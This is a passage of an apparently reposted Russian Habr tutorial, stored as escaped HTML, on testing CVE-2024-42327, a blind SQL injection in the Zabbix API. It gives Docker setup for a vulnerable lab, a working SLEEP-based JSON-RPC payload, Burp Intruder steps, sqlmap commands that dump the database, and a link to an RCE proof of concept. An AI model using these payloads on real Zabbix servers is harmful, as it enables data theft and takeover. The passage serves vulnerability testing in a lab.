data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/59a\/667\/a48\/59a667a484a423e6a691aea42289b9bc.png\"\/><\/figure>\n<p>\u041e\u0434\u043d\u0430\u043a\u043e \u043f\u0440\u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0435 nuclei -u http:\/\/ip_address -t zabbix_cve_template.yaml &#8212; debug \u043c\u043d\u0435 \u0432\u044b\u0434\u0430\u043b\u043e \u043e\u0447\u0435\u0440\u0435\u0434\u043d\u043e\u0435 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435 \u043e\u0431 \u043e\u0448\u0438\u0431\u043a\u0435:<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/295\/716\/fc7\/295716fc7e24da826cb435873bf7f7e1.png\" width=\"713\" height=\"238\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/295\/716\/fc7\/295716fc7e24da826cb435873bf7f7e1.png\"\/><\/figure>\n<p>\u0411\u0443\u0434\u0443 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u0435\u043d, \u0435\u0441\u043b\u0438 \u043a\u0442\u043e-\u0442\u043e \u043f\u043e\u0434\u0441\u043a\u0430\u0436\u0435\u0442 \u043c\u043e\u043b\u043e\u0434\u043e\u043c\u0443, \u0447\u0442\u043e \u0438\u043c\u0435\u043d\u043d\u043e \u043d\u0435 \u0442\u0430\u043a \u0432 \u0448\u0430\u0431\u043b\u043e\u043d\u0435.<\/p>\n<p>\u041e\u0442\u0434\u0435\u043b\u044c\u043d\u0430\u044f \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u043d\u043e\u0441\u0442\u044c <a href=\"https:\/\/habr.com\/ru\/news\/863440\/\" rel=\"noopener noreferrer nofollow\">\u0441\u0442\u0430\u0442\u044c\u0435, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u043b\u0430 \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u0442\u044c\u0441\u044f \u0441 CVE<\/a>, \u0438 \u0435\u0435 \u0430\u0432\u0442\u043e\u0440\u0443 <a class=\"mention\" href=\"\/users\/denis-19\">@denis-19<\/a><\/p>\n<\/div>\n<\/div>\n<\/div>\n<p><!----><!----><\/div>\n<p><!----><!----><br \/> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"https:\/\/habr.com\/ru\/articles\/877534\/\"> https:\/\/habr.com\/ru\/articles\/877534\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<div><!--[--><!--]--><\/div>\n<div id=\"post-content-body\">\n<div>\n<div class=\"article-formatted-body article-formatted-body article-formatted-body_version-2\">\n<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\n<p>\u0412 \u043d\u0435\u0434\u0430\u0432\u043d\u0435\u043c \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u0432\u044b\u0434\u0430\u043b\u0430\u0441\u044c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043f\u043e\u043a\u043e\u0432\u044b\u0440\u044f\u0442\u044c\u0441\u044f \u0441 SQL injection \u0432 Zabbix ( <em>\u2014 \u0441\u0432\u043e\u0431\u043e\u0434\u043d\u0430\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u043d\u0433\u0430 \u0441\u0442\u0430\u0442\u0443\u0441\u043e\u0432 \u0440\u0430\u0437\u043d\u043e\u043e\u0431\u0440\u0430\u0437\u043d\u044b\u0445 \u0441\u0435\u0440\u0432\u0438\u0441\u043e\u0432 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u043d\u043e\u0439 \u0441\u0435\u0442\u0438, \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u0438 \u0441\u0435\u0442\u0435\u0432\u043e\u0433\u043e \u043e\u0431\u043e\u0440\u0443\u0434\u043e\u0432\u0430\u043d\u0438\u044f, \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u043d\u0430\u044f \u0410\u043b\u0435\u043a\u0441\u0435\u0435\u043c \u0412\u043b\u0430\u0434\u044b\u0448\u0435\u0432\u044b\u043c<\/em>).<\/p>\n<p>\u0423\u0432\u0438\u0434\u0435\u043b \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0441\u0442\u0430\u0442\u044c\u0435\u0439 \u043d\u0430 \u044d\u0442\u0443 \u0442\u0435\u043c\u0443, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043a\u0430\u0436\u0435\u0442\u0441\u044f \u043f\u0438\u0441\u0430\u043b \u043e\u0434\u0438\u043d \u0438 \u0442\u043e\u0442 \u0436\u0435 \u0447\u0435\u043b\u043e\u0432\u0435\u043a, \u0432\u043a\u0440\u0430\u0442\u0446\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u0432 \u0434\u0435\u0442\u0430\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438. \u041e\u0433\u0440\u043e\u043c\u043d\u0430\u044f \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u043d\u043e\u0441\u0442\u044c \u044d\u0442\u043e\u043c\u0443 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0443 <s>(\u0438\u043b\u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430\u043c)<\/s>, \u043e\u0434\u043d\u0430\u043a\u043e \u0431\u0435\u0437 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0438 \u043f\u043e\u0438\u0441\u043a\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043d\u0435 \u043e\u0431\u043e\u0448\u043b\u043e\u0441\u044c.<\/p>\n<p>\u0421\u0442\u0430\u0442\u044c\u044f &#8212; \u0431\u043e\u043b\u044c\u0448\u0435 \u043a\u0430\u043a \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f \u0434\u043b\u044f \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0435\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0438 \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438. \u0421 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e Burp, \u043d\u043e \u0438 sqlmap, API \u0441\u0430\u043c\u043e\u0433\u043e Zabbix&#8217;a \u0438 \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u044b\u0435 \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0435 \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u044b.<\/p>\n<p>\u041f\u043e\u0435\u0445\u0430\u043b\u0438!<\/p>\n<p>SQL injection \u0432 API, edpoint <strong>user.get<\/strong><br \/> \u0423\u044f\u0437\u0432\u0438\u043c\u044b\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 Zabbix<br \/> 6.0.0 &#8212; 6.0.31 <s>(\u0442\u0430\u043a \u0436\u0435 \u043a\u0430\u0436\u0435\u0442\u0441\u044f \u0433\u0434\u0435-\u0442\u043e \u0432\u0438\u0434\u0435\u043b, \u0447\u0442\u043e \u0434\u043e 6.0.36 \u0432\u0435\u0440\u0441\u0438\u0438)<\/s><br \/> 6.4.0 &#8212; 6.4.16<br \/> 7.0.0<\/p>\n<h3>\u041f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043a\u0430<\/h3>\n<p>\u041f\u0440\u0438\u0441\u0442\u0443\u043f\u0438\u043c \u043a \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0435 zabbix \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0439 \u0434\u043b\u044f \u043d\u0430\u0441 \u0432\u0435\u0440\u0441\u0438\u0438 (ubuntu-6.0.1)<\/p>\n<p><code>sudo apt install docker docker.io docker-compose<\/code><br \/> <code>docker network create --subnet 172.20.0.0\/16 --ip-range 172.20.240.0\/20 zabbix-net<\/code><br \/> <code>docker run --name mysql-server -t \\<\/code><br \/> <code>-e MYSQL_DATABASE=\"zabbix\" \\<\/code><br \/> <code>-e MYSQL_USER=\"zabbix\" \\<\/code><br \/> <code>-e MYSQL_PASSWORD=\"zabbix_pwd\" \\<\/code><br \/> <code>-e MYSQL_ROOT_PASSWORD=\"root_pwd\" \\<\/code><br \/> <code>--network=zabbix-net \\<\/code><br \/> <code>--restart unless-stopped \\<\/code><br \/> <code>-d mysql:8.0 \\<\/code><br \/> <code>--character-set-server=utf8 --collation-server=utf8_bin \\<\/code><br \/> <code>--default-authentication-plugin=mysql_native_password<\/code><br \/> <code>docker run --name zabbix-java-gateway -t \\<\/code><br \/> <code>--network=zabbix-net \\<\/code><br \/> <code>--restart unless-stopped \\<\/code><br \/> <code>-d zabbix\/zabbix-java-gateway:ubuntu-6.0.1<\/code><br \/> <code>docker run --name zabbix-server-mysql -t \\<\/code><br \/> <code>-e DB_SERVER_HOST=\"mysql-server\" \\<\/code><br \/> <code>-e MYSQL_DATABASE=\"zabbix\" \\<\/code><br \/> <code>-e MYSQL_USER=\"zabbix\" \\<\/code><br \/> <code>-e MYSQL_PASSWORD=\"zabbix_pwd\" \\<\/code><br \/> <code>-e MYSQL_ROOT_PASSWORD=\"root_pwd\" \\<\/code><br \/> <code>-e ZBX_JAVAGATEWAY=\"zabbix-java-gateway\" \\<\/code><br \/> <code>--network=zabbix-net \\<\/code><br \/> <code>-p 10051:10051 \\<\/code><br \/> <code>--restart unless-stopped \\<\/code><br \/> <code>-d zabbix\/zabbix-server-mysql:ubuntu-6.0.1<\/code><br \/> <code>docker run --name zabbix-web-nginx-mysql -t \\<\/code><br \/> <code>-e ZBX_SERVER_HOST=\"zabbix-server-mysql\" \\<\/code><br \/> <code>-e DB_SERVER_HOST=\"mysql-server\" \\<\/code><br \/> <code>-e MYSQL_DATABASE=\"zabbix\" \\<\/code><br \/> <code>-e MYSQL_USER=\"zabbix\" \\<\/code><br \/> <code>-e MYSQL_PASSWORD=\"zabbix_pwd\" \\<\/code><br \/> <code>-e MYSQL_ROOT_PASSWORD=\"root_pwd\" \\<\/code><br \/> <code>--network=zabbix-net \\<\/code><br \/> <code>-p 80:8080 \\<\/code><br \/> <code>--restart unless-stopped \\<\/code><br \/> <code>-d zabbix\/zabbix-web-nginx-mysql:ubuntu-6.0.1<\/code><\/p>\n<p>Default web login and pass: Admin\/zabbix<\/p>\n<p><strong>\u041f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u043c, \u0447\u0442\u043e \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u044b\u0435 \u043a\u0440\u0435\u0434\u044b \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0438\u043c\u0435\u044e\u0442 \u043c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0435 \u043f\u0440\u0430\u0432\u0430 \u0432 Zabbix.<\/strong><br \/> \u0414\u043b\u044f \u0447\u0438\u0441\u0442\u043e\u0442\u044b \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0430 \u0441\u043e\u0437\u0434\u0430\u0434\u0438\u043c \u0442\u0435\u0441\u0442\u043e\u0432\u0443\u044e \u0433\u0440\u0443\u043f\u043f\u0443 &#171;Users groups&#187;. \u0413\u0440\u0443\u043f\u043f\u0430 &#171;Guest&#187; \u043d\u0430\u043c \u043d\u0435 \u043f\u043e\u0434\u043e\u0439\u0434\u0435\u0442, \u043f\u043e\u0442\u043e\u043c\u0443 \u043a\u0430\u043a &#171;Fronted access&#187; \u0443 \u043d\u0435\u0435 \u0432 \u0434\u0435\u0444\u043e\u043b\u0442\u043d\u043e\u043c \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0438 \u0432\u044b\u0441\u0442\u0430\u0432\u043b\u0435\u043d \u043d\u0430 &#171;Internal&#187;. \u0422\u0430\u043a \u0436\u0435 \u0431\u044b \u043d\u0430\u043c \u043f\u043e\u0434\u043e\u0448\u043b\u0430 \u0433\u0440\u0443\u043f\u043f\u0430 &#171;Zabbix Administrators&#187; &amp; \u0433\u0440\u0443\u043f\u043f\u0430 \u0434\u0435\u0431\u0430\u0433\u0430.<\/p>\n<figure class=\"full-width\"><\/figure>\n<p>\u041f\u0435\u0440\u0435\u0439\u0434\u0435\u043c \u043a \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044e \u0440\u043e\u043b\u0438. \u041e\u0441\u0442\u0430\u0432\u0438\u043c \u043c\u0438\u043d\u0438\u043c\u0443\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0438 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u0434\u043e\u0441\u0442\u0443\u043f \u043a API. (\u041f\u043e \u0434\u0435\u0444\u043e\u043b\u0442\u0443 \u0432\u044b\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0447\u0443\u0442\u044c \u0431\u043e\u043b\u044c\u0448\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u0430, \u043d\u043e \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0438\u043c, \u0447\u0442\u043e \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u044b\u0435 \u043a\u0440\u0435\u0434\u044b \u043f\u043e\u0441\u0442\u0430\u0440\u0430\u043b\u0438\u0441\u044c \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0442\u044c)<\/p>\n<figure class=\"full-width\"><\/figure>\n<p>\u0422\u0435\u0441\u0442\u043e\u0432\u044b\u0435 \u043a\u0440\u0435\u0434\u044b:<br \/> test_cve<br \/> p2ssw0rd123<\/p>\n<figure class=\"full-width\"><\/figure>\n<h3>\u0422\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435<\/h3>\n<h4>Burp<\/h4>\n<p>\u041f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043a\u0430 \u0441\u0442\u0435\u043d\u0434\u0430 \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0430. \u041f\u0440\u0438\u0441\u0442\u0443\u043f\u0438\u043c \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438<br \/> \u0414\u043b\u044f \u043d\u0430\u0447\u0430\u043b\u0430 \u043e\u0442\u043a\u0440\u043e\u0435\u043c Burp \u0438 \u043e\u0431\u0440\u0430\u0442\u0438\u043c\u0441\u044f \u043d\u0430 api_jsonrpc.php \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0441\u0435\u0441\u0441\u0438\u043e\u043d\u043d\u043e\u0433\u043e \u0442\u043e\u043a\u0435\u043d\u0430<\/p>\n<p><code>{<\/code><br \/> <code>\"jsonrpc\":\"2.0\",<\/code><br \/> <code>\"method\":\"user.login\",<\/code><br \/> <code>\"params\":{<\/code><br \/> <code>\"username\":\"test_cve\",<\/code><br \/> <code>\"password\":\"p2ssw0rd123\"<\/code><br \/> <code>},<\/code><br \/> <code>\"id\":1<\/code><br \/> <code>}<\/code><\/p>\n<figure class=\"full-width\"><\/figure>\n<p>\u0414\u0430\u043b\u0435\u0435 \u0433\u043e\u0432\u043e\u0440\u0438\u0442\u0441\u044f \u043f\u0440\u043e SQLi Time-based blind \u0432 \u044d\u043d\u0434\u043f\u043e\u0438\u043d\u0442\u0435 user.get, \u043f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u0441\u044f \u043a \u043d\u0435\u043c\u0443:<br \/> <code>{<\/code><br \/> <code>\"jsonrpc\": \"2.0\",<\/code><br \/> <code>\"method\": \"user.get\",<\/code><br \/> <code>\"params\": {<\/code><br \/> <code>\"selectRole\": [<\/code><br \/> <code>\"roleid\",<\/code><br \/> <code>\"name\",<\/code><br \/> <code>\"type\",<\/code><br \/> <code>\"readonly AND (SELECT(SLEEP(5)))\"<\/code><br \/> <code>],<\/code><br \/> <code>\"userids\": [<\/code><br \/> <code>\"1\",<\/code><br \/> <code>\"2\"<\/code><br \/> <code>]<\/code><br \/> <code>},<\/code><br \/> <code>\"id\": 1,<\/code><br \/> <code>\"auth\": \"d5a70c4b476e176ad5891ad1a2341e1c\"<\/code><br \/> <code>}<\/code><\/p>\n<figure class=\"full-width\"><\/figure>\n<p> \u0412\u044b\u0445\u043e\u0434\u0438\u0442 \u043d\u0430\u0448 payload \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u043b. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442.<br \/> \u0414\u0430\u043b\u0435\u0435 \u043c\u043e\u0436\u0435\u043c \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0435\u0439\u043b\u043e\u0430\u0434 <code>AND (SELECT SLEEP(5) FROM DUAL WHERE DATABASE() LIKE '_')<\/code> \u0438 \u0432\u044b\u0447\u0438\u0441\u043b\u0438\u0442\u044c \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432 \u0432 \u043d\u0430\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0438 \u0411\u0414.<br \/> \u041f\u043e\u0441\u043b\u0435 \u0447\u0435\u0433\u043e, \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0437\u0430\u043f\u0440\u043e\u0441 \u0432 Intruder \u0438 \u043f\u0435\u0440\u0435\u0431\u0438\u0440\u0430\u0442\u044c \u043a\u0430\u0436\u0434\u044b\u0439 \u0441\u0438\u043c\u0432\u043e\u043b, \u043f\u043e\u043a\u0430 \u043d\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u043c \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 \u0411\u0414<br \/> Intruder -&gt; Sniper attack -&gt; Payload type: Brute force -&gt; Character set (\u0446\u0438\u0444\u0440\u044b\/\u0431\u0443\u043a\u0432\u044b) -&gt; min\\max lenght =1 -&gt; \u0412\u044b\u0434\u0435\u043b\u0438\u0442\u044c \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u0439 \u0441\u0438\u043c\u0432\u043e\u043b \u043f\u043e\u0438\u0441\u043a\u0430<\/p>\n<figure class=\"full-width\"><\/figure>\n<h4>SQLmap<\/h4>\n<p>\u041e\u0442\u043b\u0438\u0447\u043d\u043e, \u044d\u0442\u043e \u0432\u0441\u0435 \u043e\u0447\u0435\u043d\u044c \u043a\u0440\u0443\u0442\u043e, \u043d\u043e \u0432\u0440\u0443\u0447\u043d\u0443\u044e \u043f\u043e\u0434\u043e\u0431\u043d\u043e\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u0431\u0443\u0434\u0435\u0442 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430\u0442\u0438\u0447\u043d\u043e.<br \/> \u0421\u043a\u043e\u043f\u0438\u0440\u0443\u0435\u043c \u0437\u0430\u043f\u0440\u043e\u0441 \u0438\u0437 \u0440\u0435\u043f\u0438\u0442\u0435\u0440\u0430 \u0432 \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u044b\u0439 \u0444\u0430\u0439\u043b \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 sqli_zabb_post_req.txt \u0438 \u043f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u0441\u043a\u043e\u0440\u043c\u0438\u0442\u044c sqlmap, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 \u043f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u0442\u044c \u0431\u0430\u043d\u043d\u0435\u0440:<br \/> SQLMap \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e \u043d\u0435 \u043b\u0443\u0447\u0448\u0435\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u043e\u0439 \u0441\u0440\u0435\u0434\u0435, \u043d\u043e \u043d\u0430 \u0442\u0435\u0441\u0442\u043e\u0432\u043e\u043c \u0441\u0442\u0435\u043d\u0434\u0435 \u043c\u043e\u0436\u0435\u043c \u043f\u043e\u043f\u0440\u043e\u0431\u043e\u0432\u0430\u0442\u044c \u0435\u0433\u043e.<br \/> <strong>sqlmap -r sqli_zabb_post_req.txt &#8212;technique=T -b &#8212;time-sec 3<\/strong><\/p>\n<figure class=\"full-width\"><\/figure>\n<p>\u041e\u0442\u043b\u0438\u0447\u043d\u043e, \u0442\u0435\u043f\u0435\u0440\u044c \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0431\u0438\u0442\u044c \u0431\u043e\u043b\u0435\u0435 \u0442\u043e\u0447\u0435\u0447\u043d\u043e \u0443\u043a\u0430\u0437\u0430\u0432 \u0442\u0438\u043f \u0411\u0414 \u0438 \u0438\u0434\u0442\u0438 \u0434\u0430\u043b\u044c\u0448\u0435. \u041d\u0430\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u0411\u0414 \u043d\u0430\u043c \u0442\u043e\u0436\u0435 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e &#171;zabbix&#187; \u0438\u0437 \u0442\u0435\u0441\u0442\u0430 \u0441 Burp.<br \/>\u041f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u0434\u043e\u0441\u0442\u0430\u0442\u044c \u0441 \u0411\u0414 \u0432\u0441\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e:<br \/> <code>sqlmap -r sqli_zabb_post_req.txt --technique=T --dbms MySQL -D zabbix --time-sec 3 --all<\/code><br \/>\u041d\u043e \u0432 \u0434\u0430\u043d\u043d\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u044d\u0442\u043e \u0431\u0443\u0434\u0435\u0442 \u043e\u0447\u0435\u043d\u044c \u0434\u043e\u043b\u0433\u043e. \u041a\u0430\u043a \u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0431\u043e\u043b\u044c\u0448\u0435 \u0434\u0430\u043d\u043d\u044b\u0445, \u0447\u0442\u043e\u0431\u044b \u0441\u043e\u043a\u0440\u0430\u0442\u0438\u0442\u044c \u0432\u0440\u0435\u043c\u044f \u043f\u043e\u0438\u0441\u043a\u0430.<\/p>\n<h4>API zabbix + scripts python or curl<\/h4>\n<p>\u0410 \u043f\u043e\u043a\u0430 sqlmap \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442, \u043f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u043f\u043e\u0434\u043e\u0439\u0442\u0438 \u043a \u0432\u043e\u043f\u0440\u043e\u0441\u0443 \u0441 \u0434\u0440\u0443\u0433\u043e\u0439 \u0441\u0442\u043e\u0440\u043e\u043d\u044b.<br \/> \u0421\u043e\u0441\u0442\u0430\u0432\u0438\u043c \u0437\u0430\u043f\u0440\u043e\u0441, \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0432\u0435\u0440\u0441\u0438\u0438 Zabbix:<\/p>\n<p>\u041f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0432 \u0441\u043b\u0435\u0433\u043a\u0430 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u044e \u043f\u043e API \u043d\u0430\u0448\u0435\u043b \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u0439 \u0437\u0430\u043f\u0440\u043e\u0441<br \/> \u0417\u0430\u043f\u0440\u043e\u0441 \u0432\u0435\u0440\u0441\u0438\u0438 <br \/>(linux):<br \/> <code>curl -X POST -k http:\/\/ip_address\/api_jsonrpc.php -H 'Content-Type: application\/json' -d '{\"jsonrpc\":\"2.0\",\"method\":\"apiinfo.version\",\"params\":[],\"id\":1}'<\/code><br \/> (windows):<br \/> <code>curl -X POST -k https:\/\/ip_address\/api_jsonrpc.php -H \"Content-Type: application\/json\" -d \"{\\\"jsonrpc\\\":\\\"2.0\\\",\\\"method\\\":\\\"apiinfo.version\\\",\\\"params\\\":[],\\\"id\\\":1}\"<\/code><\/p>\n<figure class=\"full-width\">\n<div><figcaption>\u0412 \u0441\u043b\u0443\u0447\u0430\u0435, \u0435\u0441\u043b\u0438 API \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d, \u043d\u0430\u043c \u0432\u044b\u0434\u0430\u0441\u0442 \u0432\u0435\u0440\u0441\u0438\u044e Zabbix \u0431\u0435\u0437 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445<\/figcaption><\/div>\n<\/figure>\n<p>\u0417\u0430\u043f\u0440\u043e\u0441 \u043d\u0430 \u0432\u0445\u043e\u0434 API:<br \/> <code>curl -X POST -k http:\/\/ip_address\/api_jsonrpc.php -H 'Content-Type: application\/json' -d '{\"jsonrpc\":\"2.0\",\"method\":\"user.login\",\"params\":{\"username\":\"test_cve\",\"password\":\"p2ssw0rd123\"},\"id\":1}'<br \/><\/code>\u0414\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0435 \u043d\u0430\u0448\u0435\u043b PoC \u0434\u043e RCE<br \/> <em>\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: <\/em><a href=\"https:\/\/github.com\/BridgerAlderson\/Zabbix-CVE-2024-42327-SQL-Injection-RCE\" rel=\"noopener noreferrer nofollow\"><em>https:\/\/github.com\/BridgerAlderson\/Zabbix-CVE-2024-42327-SQL-Injection-RCE<\/em><\/a><br \/>\u041e\u0434\u043d\u0430\u043a\u043e \u043e\u043f\u0440\u043e\u0431\u043e\u0432\u0430\u0432 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0441\u043a\u0440\u0438\u043f\u0442, RCE \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043d\u0435 \u0443\u0434\u0430\u043b\u043e\u0441\u044c, \u0432\u0441\u0435 \u0436\u0435 \u0432 \u0441\u043a\u0440\u0438\u043f\u0442\u0435 \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0438\u0437\u0432\u043b\u0435\u0447\u044c session token \u0430\u0434\u043c\u0438\u043d\u0430.<br \/>\u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0434\u043b\u044f \u043d\u0430\u0447\u0430\u043b\u0430 \u043f\u0440\u043e\u0430\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u0443\u0435\u043c \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u0434 \u0438 \u0443\u0434\u0430\u043b\u0438\u043c \u0441\u043e \u0441\u043a\u0440\u0438\u043f\u0442\u0430 \u043b\u0438\u0448\u043d\u0435\u0435 (\u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0440\u0435\u0432 \u0448\u0435\u043b\u0430, \u0432\u0432\u043e\u0434 \u043b.\u0430\u0434\u0440\u0435\u0441\u0430 \u0438 \u043b.\u043f\u043e\u0440\u0442\u0430).<br \/>\u041f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u0441 \u0445\u043e\u0441\u0442\u0430, \u0441 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0430\u0442\u0430\u043a\u0430 \u0435\u0441\u0442\u044c \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u0435 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 (\u0438\u0445 